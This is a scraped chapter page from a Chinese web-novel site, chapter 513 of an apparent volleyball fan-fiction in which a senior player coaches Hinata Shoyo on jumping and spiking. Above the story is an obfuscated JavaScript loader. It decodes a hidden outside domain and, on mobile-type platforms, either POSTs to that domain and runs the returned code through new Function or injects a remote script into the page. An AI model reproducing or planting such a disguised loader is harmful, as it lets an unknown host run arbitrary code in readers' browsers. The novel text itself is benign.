妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第513章(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“小橘子是看到那场比赛后开始练排球的吗?”

日向翔阳狂点头,“嗯!”

既然中学加入了排球部,也至少学了三年了啊……

“no.1前…凪前辈,你是有什么话要说吗?”

“是呢——”

“是点拨吗?是建议吗!是批评吗?是指教吗!请尽管说出来吧!”橙褐色的眼中蹿过了希冀。

“让我想想啊。”

凪圣久郎找了个俗语,“——志在云端之上。”

“云的…上面?”

“百尺竿头,更进一步。”凪圣久郎又用了个典故。

“一百根竹竿……?”日向翔阳大脑过载,冒出了圈圈眼。

凪圣久郎起身,把最后一个排球后抛过去,凪诚士郎移着球筐接住了三色球。

“大多数篮球排球选手都是右利手,惯用足也是右腿,右边有着更好的灵活度和力量,但运动员灌篮、扣球、拦网时还是会选择左脚起跳,这是为什么呢?”

日向翔阳愣愣地重复,“……为什么?”

凪圣久郎小跳了一下,做出一个右撇子的正面扣球姿势。上身挺直,带动整个身体飞扬,右臂抬起,身体稍往右转,手臂后引。

挥臂时,以尽可能快的速度和力量向左转体、同时收腹收胸,用躯体的动作带动手臂的前挥。

击球时,五指不是大力张开,而是有意识地微缩,形成勺状。掌心是触球的中心,手腕疾速下甩,还要将手指挺出向前推压。

每一个姿势、每一串连贯的动作,都有着无数的细节要点。

不是在屏幕上光看着就能学会的。

“左脚起跳、右手挥臂,这是符合人类身体神经肌肉协调性的结果,”见日向翔阳的眼睛又开始转圈,凪圣久郎用着大白话,“这样上身会更舒展,右手也更容易发力控制,你可以试试右脚起跳右手扣球,会很别扭的。”

日向翔阳听了凪圣久郎的话,在原地蹦了一下,然后做出一个甩臂的动作,“……确实?”

“你和洁二号的速攻,是由你甩开拦网,接着他再把球传到你手中,最后由你扣下去,对吧?”

“……”洁二号?

是影山吗?还是说,这是什么二传手的新颖称呼?

……问出来会不会暴露自己知识不足啊!

日向翔阳没有发出疑惑,忙不迭地出声认下,“没错,这个攻击就是影…洁二号主导的。”

看清细节后,凪圣久郎发现,日向翔阳扣球动作中有好几处错误。

当裁判的那一队,虽说是有几个选手经验不足,但基本手型和姿势都是到位的,明显经受过专业的教导。

……小学喜欢上排球,却连排球启蒙教室都没去过吗。

“你试试看右脚起跳,左手扣球。”

“哦!”

no.1前辈说的身体原理他是不太明白,但这种步骤到位的要求,自己是能听懂的!

右前掌蹬地,小腿跟腱收缩,带动大腿和腰腹肌肉,“嗖”地一下,橘发10号腾空而起!

“给。”

凪圣久郎从球筐里捞出一个三色球,往日向翔阳的面前托了过去。

旋转的黄蓝色切进视野,日向翔阳的胸腔发出沉闷的律动!

“往右上的角落打过去。”

no.1前辈平静的话语拂过耳道。

右上的……角落。

拦网已收走,排球也被装进筐里,只有木质地板上的白色线条,呈现着球场的存在。

瞳仁瞄向了目标,确定了角度,日向翔阳打出的手掌盖在了排球略软的皮革上!

“嘭。”

三色球旋着飞向了两根白线的交织点,压在了线中!

“界内。”凪圣久郎说。

不同寻常的响动吸引了打扫卫生的众人的注意力,和乌养一系请教排球问题的影山飞雄余光瞧见了空中的橘发队友。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间